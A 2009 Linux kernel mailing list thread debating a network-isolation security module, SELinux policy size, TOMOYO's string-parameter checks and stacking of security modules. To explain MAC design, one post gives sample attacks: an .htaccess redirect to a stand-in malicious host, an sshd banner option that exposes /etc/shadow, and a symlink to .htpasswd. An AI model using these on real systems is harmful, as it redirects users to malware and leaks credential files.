nonetwork_t, you would add 1 extra type: nonetwork_exec_t. You would
include a rule "type_transition regular_t nonetwork_exec_t:process
nonetwork_t;" in your policy, and then allow anyone to relabel files
between the labels "file_t" and "nonetwork_exec_t". Any program file
labelled "nonetwork_exec_t" would automatically execute as
"nonetwork_t" and therefore be properly sandboxed.
The default SELinux policies are rather fantastically complicated,
mainly because they have a goal of locking down an entire GUI-enabled
system. If all you need is something much simpler, the policy
language is very flexible and easy to customize.
The best part is... when you discover you need to control additional
actions, you can do so at runtime with zero risk of crashing the
kernel (although you can always lock yourself into a box and force a
reboot with bad security policy).
Cheers,
Kyle Moffett
Kyle Moffett wrote:
> On Sat, Dec 26, 2009 at 14:50, Michael Stone <[email protected]> wrote:
>
>>> I ask bc the API is in the prctl code, so the LSM
>>> is conceptually always there, which is different from other LSMs.
>>>
>> The goal is to provide a stupidly simple unprivileged per-process network
>> isolation primitive which is broadly available "without jumping through
>> hoops".
>>
>> (See http://cr.yp.to/unix/disablenetwork.html for a nice writeup.)
>> I need a primitive like this to further my work on the OLPC Bitfrost
>> security
>> architecture and to further my more general work on advancing the state of
>> sandboxing technology. (See sandboxing.org.)
>>
>> I'm willing to entertain pretty much any implementation or interface request
>> which meets that goal and which implements the desired semantics.
>>
>
> If you aren't using SELinux at this time (and therefore have no
> existing policy), then it's actually pretty straightforward
> (relatively speaking) to set up for your particular goals. On top of
> that, once you actually get the system set up, it's very easy to
> extend your sandbox security model to additional processes, actions,
> etc.
>
> In this example, you would set up a very minimal stripped-down SELinux
> policy in which you only define 3 types (file_t, regular_t and
> nonetwork_t). Any process would be allowed to "dyntransition" from
> regular_t to nonetwork_t, but not the reverse. regular_t would be
> allowed to do anything. nonetwork_t would be allowed to do anything
> that (A) does not involve the network *and* (B) does not compromise a
> regular_t process. file_t would only be used for on-disk files.
>
> If you want to have some program binaries *automatically* run in
> nonetwork_t, you would add 1 extra type: nonetwork_exec_t. You would
> include a rule "type_transition regular_t nonetwork_exec_t:process
> nonetwork_t;" in your policy, and then allow anyone to relabel files
> between the labels "file_t" and "nonetwork_exec_t". Any program file
> labelled "nonetwork_exec_t" would automatically execute as
> "nonetwork_t" and therefore be properly sandboxed.
>
I would be very surprised if the policy you've described actually
covered all the bases. I would also be surprised if a functional
policy that meets the needs described was considerably smaller than
Lake Michigan. It's really easy to toss off the basics of what needs
to be done, it's quite another to get the whole thing right.
> The default SELinux policies are rather fantastically complicated,
>
Everyone, I didn't say that. He did.
> mainly because they have a goal of locking down an entire GUI-enabled
> system.
Err, even with unconstrained_t all over the place it's over a million
lines. You can't blame the GUI environment for that.
> If all you need is something much simpler, the policy
> language is very flexible and easy to customize.
>
I'm willing to bet all the beers you can drink in a sitting that
the policy would be bigger than the proposed LSM. You can count that
in either bytes or lines.
> The best part is... when you discover you need to control additional
> actions, you can do so at runtime with zero risk of crashing the
> kernel (although you can always lock yourself into a box and force a
> reboot with bad security policy).
>
> Cheers,
> Kyle Moffett
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to [email protected]
> More majordomo info at http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at http://www.tux.org/lkml/
>
>
>
[email protected] wrote:
> > Also, people know we sometimes need to restrict string parameters for avoiding
> > unwanted consequence. TOMOYO can pay attention to string parameters whereas
> > SELinux can't.
>
> Which string parameters are these?
(1) Basename part of a file's pathname.
(2) Pathnames passed to directory entry manipulation functions.
(3) Pathnames passed to namespace manipulation functions.
(4) The content of symlink.
(5) Invocation name of a program (a.k.a. argv[0])
(6) Commandline arguments (a.k.a. argv[])
(7) Environment variables (a.k.a. envp[])
and probably more. Please understand that "Those who give insane input deserve
insane output." is not correct excuse. Without MAC, it is OK to say "If root
user did insane requests, nothing prevents from insane results". With MAC,
it is not OK to say so because MAC is sometimes used for dividing root's power
using RBAC (or similar). MAC is an approach for protecting from insane requests.
(1) Basename part of a file's pathname.
Suppose a storage administrator wants to schedule automatic fsck upon next
reboot. The security policy will be configured to allow creating a file
under / directory since the administrator wants to create /forcefsck .
But what happens if the administrator created /autorelabel on purpose or
accidentally? Relabeling operation will be done upon next reboot. If some
files are not located in place, the files will get improper labels.
Who knew that a storage administrator can change file's label that are not
in place?
We should have allowed the storage administrator to create only /forcefsck ,
shouldn't we?
Suppose CGI programs invoked by Apache create files dynamically.
The security policy will be configured to allow creating files under
/var/www/html/ directory since the CGI program wants to create
/var/www/html/blog.dat and /var/www/html/index.dat .
But what happens if the CGI program had a security hole that allows
attackers to create /var/www/html/.htaccess with the content
RedirectMatch (.*) http://evil.example.com/cgi-bin/poison-it?$1
? Apache will interpret /var/www/html/.htaccess and send HTTP 302 response
to web clients.
Who knew that the web server leads web clients to malware distributing site?
We should have allowed the CGI program to create only /var/www/html/blog.dat
and /var/www/html/index.dat , shouldn't we?
(2) Pathnames passed to directory entry manipulation functions.
Userland depends on whether files (programs, libraries, config files etc.) are
located in place or not. If we allow directory entry manipulation operations
wider than needed, the risk of files not located in place becomes larger.
I'm not saying that inode based access control is useless. I'm saying that
the granularity of inode based access control is not finest-grained because it
does not represent the parent/child relationship. For example, allowing rename
of "etc_t" is wider than needed. Only permission to rename from /etc/foo/bar to
/etc/foo/buz should be given if it is sufficient.
(3) Pathnames passed to namespace manipulation functions.
Same reasons to directory entry manipulation functions.
(4) The content of symlink.
Suppose CGI programs invoked by Apache create symlinks. The security policy
will be configured to allow creating symlinks under /var/www/html/ directory
since the CGI program wants to create symlink to /var/www/html/document.dat .
But what happens if the CGI program had a security hole that allows attackers
to create symlink to /var/www/html/.htpasswd ? Apache (or CGI programs) will
return the content of /var/www/html/.htpasswd .
Who knew that the web server discloses the password information to attackers?
We should have forbidden symlinking to /var/www/html/.htpasswd , shouldn't we?
(5) Invocation name of a program (a.k.a. argv[0])
Several programs (e.g. busybox) behave differently depending on the invocation
name. Suppose you want to allow printing only md5 of specified file.
If "cat" and "md5sum" are implemented as hard-linked binary program, executing
"md5sum" with argv[0] set to "cat" will act as "cat", which will print the
content of specified file rather than md5 of the file.
(6) Commandline arguments (a.k.a. argv[])
Suppose login administrator wants to restart ssh server. The security policy
will be configured to allow stopping and restarting /usr/sbin/sshd .
But what happens if the administrator restarted /usr/sbin/sshd as
/usr/sbin/sshd -o 'Banner /etc/shadow'
? The content of /etc/shadow is printed to unauthenticated ssh clients.
Who knew that a login administrator can broadcast the content of /etc/shadow
when "cat /etc/shadow" is permitted to nobody?
We should have forbidden passing such commandline parameters, shouldn't we?
(7) Environment variables (a.k.a. envp[])
Environment variables affect the behavior of programs. For example, modifying
SHELLOPTS outside bash and executing bash script may cause unexpected results.
We should be careful about envp[] as well as argv[], shouldn't we?
I agree that SELinux / Smack can very well control whether the subject can
read/write/execute the object or not, but that is part of security.
Security still depends on how the subject uses the object if the subject can
access the object.
String parameters described above control how the subject uses the object.
TOMOYO provides ability to pay attention to string parameters listed above
(although currently not all functionalities are merged into mainline kernel).
> > Both SELinux and TOMOYO have ability to cover all processes (from /sbin/init
> > till /sbin/poweroff) or targeted processes (e.g. only daemons). But SELinux is
> > not widely used for protecting all processes. TOMOYO can provide some
> > protection for processes which SELinux doesn't protect.
>
> OK, this was what I was talking about - what processes does TOMOYO protect
> that SELinux doesn't? Or are you suggesting "use TOMOYO when using the SELinux
> 'targeted' policy that only tracks some processes"?
That depends on what Linux users want to do.
Some will use TOMOYO for protecting processes not protected by SELinux.
Others will use TOMOYO for protecting processes already protected by SELinux
(e.g. CGI programs from Apache) because what TOMOYO provides is what SELinux
doesn't provide.
> It would seem that a better
> solution there would be to just go ahead and use the 'strict' or 'mls' policies
> if you want coverage of all processes - having some processes under SELinux
> and some under TOMOYO rules is just asking for confusion...
Using 'strict' or 'mls' policies for protecting all processes is not the
solution I want.
The solution I want is systems with inode based MAC (e.g. SELinux / Smack) and
name based MAC (e.g. TOMOYO / AppArmor) enabled at the same time so that the
systems are protected by two approaches ("whether the subject can
read/write/execute the object or not" and "how the subject uses the object")
if Linux users can accept the risk of enabling both.
Regards.
On Mon, Dec 28, 2009 at 20:43, Casey Schaufler <[email protected]> wrote:
> Kyle Moffett wrote:
>> On Sat, Dec 26, 2009 at 14:50, Michael Stone <[email protected]> wrote:
>>> I'm willing to entertain pretty much any implementation or interface request
>>> which meets that goal and which implements the desired semantics.
>>>
>>
>> If you aren't using SELinux at this time (and therefore have no
>> existing policy), then it's actually pretty straightforward
>> (relatively speaking) to set up for your particular goals. On top of
>> that, once you actually get the system set up, it's very easy to
>> extend your sandbox security model to additional processes, actions,
>> etc.
>>
>> [...]
>
> I would be very surprised if the policy you've described actually
> covered all the bases. I would also be surprised if a functional
> policy that meets the needs described was considerably smaller than
> Lake Michigan. It's really easy to toss off the basics of what needs
> to be done, it's quite another to get the whole thing right.
>
>> If all you need is something much simpler, the policy
>> language is very flexible and easy to customize.
>>
>
> I'm willing to bet all the beers you can drink in a sitting that
> the policy would be bigger than the proposed LSM. You can count that
> in either bytes or lines.
If that bet's in Mountain Dew or "Bawls" energy drinks
(http://www.bawls.com/) instead of beer... then you've got a deal :-D
Here's a very fast first cut at such a policy. In this version I
actually completely ignore the type-enforcement mechanism, although if
you decide to start mediating file access then you may want to
reenable it. The policy is pretty straightforward and easy to read...
customizations would initially mostly be in the "constraint" rules.
The only thing I actually had to write was the base-policy.pp file. I
personally absolutely detest M4... so these particular files are
designed to be preprocessed with "cpp" instead. Those 3 ".h" files
are simply lists of the kernel's access vectors and such run through
"sed" to convert the "#" comments into "//" comments.
I have a Makefile I've been using personally to build that policy, but
right now it's rather interdependent with my working environment, so
it may take me several days to find the time to extract it cleanly.
Cheers,
Kyle Moffett
Kyle Moffett wrote:
> On Mon, Dec 28, 2009 at 20:43, Casey Schaufler <[email protected]> wrote:
>
>> Kyle Moffett wrote:
>>
>>> On Sat, Dec 26, 2009 at 14:50, Michael Stone <[email protected]> wrote:
>>>
>>>> I'm willing to entertain pretty much any implementation or interface request
>>>> which meets that goal and which implements the desired semantics.
>>>>
>>>>
>>> If you aren't using SELinux at this time (and therefore have no
>>> existing policy), then it's actually pretty straightforward
>>> (relatively speaking) to set up for your particular goals. On top of
>>> that, once you actually get the system set up, it's very easy to
>>> extend your sandbox security model to additional processes, actions,
>>> etc.
>>>
>>> [...]
>>>
>> I would be very surprised if the policy you've described actually
>> covered all the bases. I would also be surprised if a functional
>> policy that meets the needs described was considerably smaller than
>> Lake Michigan. It's really easy to toss off the basics of what needs
>> to be done, it's quite another to get the whole thing right.
>>
>>
>>> If all you need is something much simpler, the policy
>>> language is very flexible and easy to customize.
>>>
>>>
>> I'm willing to bet all the beers you can drink in a sitting that
>> the policy would be bigger than the proposed LSM. You can count that
>> in either bytes or lines.
>>
>
> If that bet's in Mountain Dew or "Bawls" energy drinks
> (http://www.bawls.com/) instead of beer... then you've got a deal :-D
>
Hee hee. A sitting doesn't last very long with those beverages.
> Here's a very fast first cut at such a policy. In this version I
> actually completely ignore the type-enforcement mechanism, although if
> you decide to start mediating file access then you may want to
> reenable it. The policy is pretty straightforward and easy to read...
> customizations would initially mostly be in the "constraint" rules.
>
Wouldn't this policy prevent all processes from using the network,
as opposed to the particular ones that need to be controlled?
I can't claim to be the world's greatest policy expert, and I
could have it wrong (it happens often enough) but wouldn't you
need at least two labels, one for the restricted programs and
one for the rest?
> The only thing I actually had to write was the base-policy.pp file. I
> personally absolutely detest M4... so these particular files are
> designed to be preprocessed with "cpp" instead. Those 3 ".h" files
> are simply lists of the kernel's access vectors and such run through
> "sed" to convert the "#" comments into "//" comments.
>
> I have a Makefile I've been using personally to build that policy, but
> right now it's rather interdependent with my working environment, so
> it may take me several days to find the time to extract it cleanly.
>
> Cheers,
> Kyle Moffett
>
On Thu, 2009-12-24 at 18:05 -0600, Serge E. Hallyn wrote:
> Quoting Eric W. Biederman ([email protected]):
> > Casey Schaufler <[email protected]> writes:
> >
> > > I'm behind you 100%. Use the LSM. Your module is exactly why we have
> > > the blessed thing. Once we get a collection of otherwise unrelated
> > > LSMs the need for a stacker will be sufficiently evident that we'll
> > > be able to get one done properly.
> >
> > My immediate impression is that the big limitation today is the
> > sharing of the void * security data members of strucutres.
> >
> > Otherwise multiple security modules could be as simple as.
> > list_for_each(mod)
> > if (mod->op(...) != 0)
> > return -EPERM.
> >
> > It isn't hard to multiplex a single data field into several with a
> > nice little abstraction.
> >
> > With my maintainer of a general purpose kernel hat on I would love to
> > be able to build in all of the security modules and select at boot
> > time which ones were enabled.
>
> You're supposed to be able to do that now - use the "security=smack"
> or whatever boot option (see security/security.c:choose_lsm() ).
>
> -serge
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to [email protected]
> More majordomo info at http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at http://www.tux.org/lkml/
Ubuntu and SuSe currently do this and it is what allows them to ship a
kernel with both AppArmor and SELinux support built in.
Dave
> The restorecon may not be executed due to "mount -o noexec".
> The restorecon may be replaced by "mount --bind /bin/true /sbin/restorecon".
> The restorecon may not work as expected due to improper LD_PRELOAD environment.
How are these relevant? I don't think selinux allows random users to
run /sbin/restorecon...?
Pavel
--
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html
On Thursday 24 December 2009 07:53:35 am Eric W. Biederman wrote:
> Casey Schaufler <[email protected]> writes:
> > I'm behind you 100%. Use the LSM. Your module is exactly why we have
> > the blessed thing. Once we get a collection of otherwise unrelated
> > LSMs the need for a stacker will be sufficiently evident that we'll
> > be able to get one done properly.
>
> My immediate impression is that the big limitation today is the
> sharing of the void * security data members of strucutres.
>
> Otherwise multiple security modules could be as simple as.
> list_for_each(mod)
> if (mod->op(...) != 0)
> return -EPERM.
>
> It isn't hard to multiplex a single data field into several with a
> nice little abstraction.
Just another quick point that I didn't see covered yet in this thread ...
while many of the kernel entities have void pointers to track the security
blobs, there are several places where a single u32/int or character string is
used to represent the security label of an entity (look at the per-packet
labeling for an example). While it would be relatively easy to multiple
multiple security blobs on top of a void pointer, multiplexing multiple
security labels/tokens on top of a string/int is a little more difficult.
--
paul moore
linux @ hp